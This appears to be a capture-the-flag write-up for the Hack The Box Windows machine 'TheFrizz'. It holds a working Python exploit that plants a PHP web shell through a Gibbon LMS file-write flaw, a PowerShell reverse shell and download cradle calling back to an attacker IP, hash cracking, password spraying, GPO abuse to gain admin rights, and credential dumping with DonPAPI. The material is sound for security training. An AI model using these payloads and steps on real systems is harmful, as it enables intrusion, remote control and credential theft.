#
TheFrizz (Medium)
#
Synopsis
TheFrizz
is a medium-difficulty Windows machine featuring a web application showcasing Walkerville Elementary School and a Gibbon CMS instance. The Gibbon-LMS instance is susceptible to unauthenticated arbitrary file write (CVE-2023-45878), which is used to write a PHP shell to the web application and gain access to the target. After gaining access to the system, a database settings file containing credentials to access MySQL includes a hash and salt for the user f.frizzle that can be cracked. After cracking the password, we authenticate to the target using SSH with GSSAPI/Kerberos. We request a TGT, which is then used to authenticate via Kerberos authentication. A deleted 7Zip archive is discovered in the fiona
user's recycling bin which is extracted revealing a WAPT setup and includes a configuration file with base64-encoded credentials used to authenticate as the M.Schoolbus
user. M.Schoolbus
is a member of the Group Policy Creator Owners
, which allows them to create GPOs within the domain, which is leveraged to escalate privileges to NT Authority\System
.
#
Enumeration
Our Nmap scan shows a Domain Controller with hostname frizzdc.frizz.htb
hosting a web application on port 80.
$ nmap 10.129.26.253 -sCV -v -oN thefrizz.nmap
Nmap scan report for 10.129.26.253
Host is up (0.030s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-16 02:56:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-03-16T02:56:39
|_ start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
After navigating the site, we can navigate to the staff login at http://frizzdc.frizz.htb/Gibbon-LMS/
.
In the footer, we see the site is Powered by Gibbon v25.0.00
and find a welcome message at the top.
We have a potential user (Fiona Frizzle) that we can expect on the target machine. We can Google for available exploits that target this specific version. There are several vulnerabilities in version 26.0.00 and below like an LFI in the query parameter (CVE-2023-34598) and an authenticated RCE (CVE-2024-24725). However, we don't have any credentials yet, so we start looking further.
On Vulmon, we can find a critical vulnerability in GibbonEdu allowing arbitrary file write (CVE-2023-45878) in the Rubrics module.
The description and PoC on HeroLab explains that this module has a file called rubrics_visualise_saveAjax.php
which can be accessed without authentication. Therefore, we first verify if we can access this file.
#
Foothold
We verified that the script is indeed active on our instance. Reading the article, it explains that the file accepts the img
, path
and gibbonPersonID
as POST parameters. If the path
parameter is set, the defined path is used as the destination folder, concatinated with the absolute path of the Gibbon installation directory. We can create a small exploit script that writes a PHP file in the installation directory.
import requests
import base64
# config options
gibbon_root = "http://frizzdc.frizz.htb/Gibbon-LMS/"
path = "asdf.php"
payload = "<?php echo system($_GET['cmd']);?>"
url = f"{gibbon_root}/modules/Rubrics/rubrics_visualise_saveAjax.php"
target_file = f"{gibbon_root.rsplit('/', 1)[0]}/{path}"
encoded_payload = base64.b64encode(payload.encode()).decode()
data = {
"img" : f"image/png;asdf,{encoded_payload}",
"path": path,
"gibbonPersonID": "0000000001"
}
response = requests.post(url,data=data)
if response.status_code == 200:
print(f"[+] Payload sent successfully to {url}")
if requests.get(target_file).status_code == 200:
print(f"[+] File accessible at {target_file}")
print(f"[+] Checking current user: {requests.get(f'{target_file}?cmd=whoami').text}")
else:
print(f"[-] Could not access file at {target_file}")
else:
print(f"[!] Failed to send payload. Status code: {response.status_code}")
After running our exploit script we can access our webshell.
$ python exploit.py
[+] Payload sent successfully to http://frizzdc.frizz.htb/Gibbon-LMS//modules/Rubrics/rubrics_visualise_saveAjax.php
[+] File accessible at http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php
[+] Checking current user: frizz\w.webservice
Next we can try to get a shell on the machine. We can generate a Powershell reverse shell cradle as follows:
$ cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.29',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$ echo "IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.16.29:8888/shell.ps1')" > cradle
$ cat cradle | iconv -t utf-16le | base64 -w 0; echo
$ python3 -m http.server 8888
$ sudo nc -nvlp 443
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=cmd+/c+powershell+-enc+SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADYALgAyADkAOgA4ADgAOAA4AC8AcwBoAGUAbABsAC4AcABzADEAJwApAAoA'
After running our Python server and Netcat listener, we can launch our command to get a shell as frizz\w.webservice
.
#
User
After having a shell on the box, we proceed to do further host enumeration. I looked for interesting files in the current directory and looking for patterns that matched the keywords "password", "database" or "htb".
PS C:\xampp\htdocs\Gibbon-LMS> Get-ChildItem -File -Recurse -Depth 1 | Where-Object{$_.FullName -match 'config|database|setting'} | Select-String -Pattern "(?i)password|database|htb" | Select Filename,Line | Where-Object { $_.Line -notmatch "^\s*[#*/]" }
Filename Line
-------- ----
config.php $databaseServer = 'localhost';
config.php $databaseUsername = 'MrGibbonsDB';
config.php $databasePassword = 'MisterGibbs!Parrot!?1';
config.php $databaseName = 'gibbon';
After running this command it finds a config.php
that contains the password of the Gibbon database. Next we can run mysql
to extract data from the database. Note that we have to be in the current directory to execute the binary.
PS C:\xampp\mysql\bin\> .\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon;DESCRIBE gibbonperson;"
<SNIP>
nameInCharacters varchar(60) NO NULL
gender enum('M','F','Other','Unspecified') NO Unspecified
username varchar(20) NO UNI NULL
passwordStrong varchar(255) NO NULL
passwordStrongSalt varchar(255) NO NULL
passwordForceReset enum('N','Y') NO N
<SNIP>
PS C:\xampp\mysql\bin\> .\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon;SELECT username,passwordStrong,passwordStrongSalt from gibbonperson;"
username passwordStrong passwordStrongSalt
f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489
Inside the database we can find a password hash and salt for f.frizzle
. We can conver the hash into the right format and crack it with Hashcat.
$ hashcat '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489' $ROCKYOU -m 1420
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23
We were able to crack the password of Fiona Frizzle. The password allows us to login to the Gibbon backend.
On the message wall, Fiona is talking about a desktop management tool called WAPT so we can keep that in the back of our head. For now we can try to login using SMB or WinRM.
$ nxc smb frizz.htb -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -d frizz.htb
SMB 10.129.48.142 445 10.129.48.142 [*] x64 (name:10.129.48.142) (domain:10.129.48.142) (signing:True) (SMBv1:False)
SMB 10.129.48.142 445 10.129.48.142 [-] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 STATUS_NOT_SUPPORTED
However, we get a STATUS_NOT_SUPPORTED
error. Lets try to get a TGT and try again with Kerberos.
$ getTGT.py frizz.htb/f.frizzle:Jenni_Luvs_Magic23
Impacket v0.13.0.dev0+20250206.100953.075f2b10 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
We can easily fix the clock skew with faketime
:
$ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" bash
$ getTGT.py frizz.htb/f.frizzle:Jenni_Luvs_Magic23
$ nxc smb frizz.htb -k -d frizz.htb --use-kcache
SMB frizz.htb 445 frizz [*] x64 (name:frizz) (domain:htb) (signing:True) (SMBv1:False)
SMB frizz.htb 445 frizz [-] frizz.htb\ from ccache STATUS_MORE_PROCESSING_REQUIRED
I still got errors, so I tried using SSH since this port is open. First make sure that the /etc/krb5.conf
looks as follows:
[libdefault]
default_realm = FRIZZDC.FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
}
[domain_realm]
frizz.htb = FRIZZ.HTB
.frizz.htb = FRIZZ.HTB
Next we can connect.
$ KRB5CCNAME=f.frizzle.ccache ssh f.frizzle@frizz.htb
PS C:\Users\f.frizzle> cat Desktop\user.txt
Alternatively, we can also use EvilWinRM.
$ KRB5CCNAME=f.frizzle.ccache evil-winrm -i frizzdc.frizz.htb -r FRIZZ.HTB
*Evil-WinRM* PS C:\Users\f.frizzle\Documents>
#
Root
First we can try running SharpHound and import our data into BloodHound CE but there is not something that jumps out. For the next part I was stuck for a while enumerating every single directory. Eventually I stumbled upon a file in the recycle bin:
PS C:\Users\f.frizzle> cmd /c cmd.exe
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.
frizz\f.frizzle@FRIZZDC C:\Users\f.frizzle> cd C:\$Recycle.Bin
frizz\f.frizzle@FRIZZDC C:\$RECYCLE.BIN> dir /a
10/29/2024 07:31 AM <DIR> .
03/10/2025 03:39 PM <DIR> ..
10/29/2024 07:31 AM <DIR> S-1-5-21-2386970044-1145388522-2932701813-1103
frizz\f.frizzle@FRIZZDC C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> dir
10/29/2024 07:31 AM 148 $IE2XMEG.7z
10/24/2024 09:16 PM 30,416,987 $RE2XMEG.7z
Here we find two files. I downloaded them to my local machine and found that one of the contains the source code for WAPT that Fiona was talking about.
$ KRB5CCNAME=f.frizzle.ccache scp 'f.frizzle@frizz.htb:C:\\$Recycle.Bin\\S-1-5-21-2386970044-1145388522-2932701813-1103\\$RE2XMEG.7z' R.7z
$ 7z x R.7z
$ cat wapt/conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
The waptserver.ini
contains a Base64 encoded password. We decode it and peform a password spray on the accounts.
PS C:\Users\f.frizzle> get-aduser -filter * | ft -property name
name
----
Administrator
Guest
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice
$ echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
!suBcig@MehTed!R
$ while read u; do getTGT.py frizz.htb/$u:'!suBcig@MehTed!R' | grep ticket; done < users.txt
[*] Saving ticket in M.SchoolBus.ccache
We were able to get the TGT of M.SchoolBus
.
$ KRB5CCNAME=M.SchoolBus.ccache ssh M.SchoolBus@frizz.htb
PS C:\Users\M.SchoolBus>
After not finding much on BloodHound, I started to proceed my enumeration with PowerView. First copy PowerView.ps1
to the machine with scp and execute powershell.exe
to be able to import the script.
$ KRB5CCNAME=M.SchoolBus.ccache scp PowerView.ps1 M.SchoolBus@frizz.htb:C:\\Users\\M.SchoolBus
PS C:\Users\M.SchoolBus> powershell.exe
PS C:\Users\M.SchoolBus> . .\PowerView.ps1
#
GPO Abuse
One topic that I learned recently is GPO abuse so I started to look if this account was able to link GPOs to the domain. Next I also looked at if there are users that can link GPOs to OUs.
PS C:\Users\M.SchoolBus> Get-DomainObjectAcl -SearchScope Base -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, @{Name='ResolvedSID';Expression={ConvertFrom-SID $_.SecurityIdentifier}} | Format-List
ObjectDN : DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus
PS C:\Users\M.SchoolBus> Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, @{Name='ResolvedSID';Expression={ConvertFrom-SID $_.SecurityIdentifier}} | Format-List
ObjectDN : OU=Domain Controllers,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus
ObjectDN : OU=Class_Frizz,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus
We see that M.SchoolBus
can link to the domain and both the Domain Controllers
and Class_Frizz
OUs. With these permissions we can elevate our privileges and add our account to the local administrators group.
First we create a new GPO.
PS C:\Users\M.SchoolBus> New-GPO -Name "NewGPO" -Comment "This is a test GPO"
DisplayName : NewGPO
DomainName : frizz.htb
Owner : frizz\M.SchoolBus
Id : 42a6ef68-b465-4886-9872-eee1e3787879
GpoStatus : AllSettingsEnabled
Description : This is a test GPO
CreationTime : 3/16/2025 5:16:29 PM
ModificationTime : 3/16/2025 5:16:29 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 0, SysVol Version: 0
WmiFilter :
Next we can link this GPO to a target OU, in this case the Domain Controllers
OU.
PS C:\Users\M.SchoolBus> New-GPLink -Name "NewGPO" -Target "OU=Domain Controllers,DC=FRIZZ,DC=HTB"
GpoId : ccb9eb1b-ed08-4efc-89da-e65c2bcf6599
DisplayName : NewGPO
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2
Next we can run SharpGPOAbuse.exe
to create a new local admin account.
PS C:\Users\M.SchoolBus> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName NewGPO
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "NewGPO" is: {CCB9EB1B-ED08-4EFC-89DA-E65C2BCF6599}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{CCB9EB1B-ED08-4EFC-89DA-E65C2BCF6599}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
PS C:\Users\M.SchoolBus> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
PS C:\Users\M.SchoolBus> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.
In another session we can read the root flag.
PS C:\Users\Administrator\Desktop> type root.txt
#
Dumping Creds
Next we dump all the credentials with DonPAPI.
$ KRB5CCNAME=M.SchoolBus.ccache donpapi collect -k --no-pass -t frizzdc.frizz.htb
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/s3rp3nt/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/s3rp3nt/.donpapi/recover/recover_1742171384
[frizzdc.frizz.htb] [+] Starting gathering credz
[frizzdc.frizz.htb] [+] Dumping SAM
[01:29:52] ERROR SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. secretsdump.py:1340
[frizzdc.frizz.htb] [$] [SAM] Got 3 accounts
[frizzdc.frizz.htb] [+] Dumping LSA
[frizzdc.frizz.htb] [$] [LSA] (Unknown User):BananaB0at!!@
[frizzdc.frizz.htb] [$] [LSA] (Unknown User):BananaB0at!!@
[frizzdc.frizz.htb] [+] Dumping User and Machine masterkeys
[frizzdc.frizz.htb] [$] [DPAPI] Got 5 masterkeys
[frizzdc.frizz.htb] [+] Dumping User Chromium Browsers
[frizzdc.frizz.htb] [+] Dumping User and Machine Certificates
[frizzdc.frizz.htb] [+] Dumping User and Machine Credential Manager
[frizzdc.frizz.htb] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{021CAB75-2E8A-43B7-A27B-3E488E46505D} - frizz\v.frizzle:Remember0?Attempt?Depend?Was?Tape
[frizzdc.frizz.htb] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{C810CEE4-32F3-42A9-BDEF-16ADE0E28272} - frizz\f.frizzle:Jenni_Luvs_Magic23
[frizzdc.frizz.htb] [+] Gathering recent files and desktop files
[frizzdc.frizz.htb] [+] Dumping User Firefox Browser
[frizzdc.frizz.htb] [+] Dumping MobaXterm credentials
[frizzdc.frizz.htb] [+] Dumping MRemoteNg Passwords
[frizzdc.frizz.htb] [+] Dumping User's RDCManager
[frizzdc.frizz.htb] [+] Dumping SCCM Credentials
[frizzdc.frizz.htb] [+] Dumping User and Machine Vaults
[frizzdc.frizz.htb] [+] Dumping VNC Credentials
[frizzdc.frizz.htb] [+] Dumping Wifi profiles
DonPAPI running against 1 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00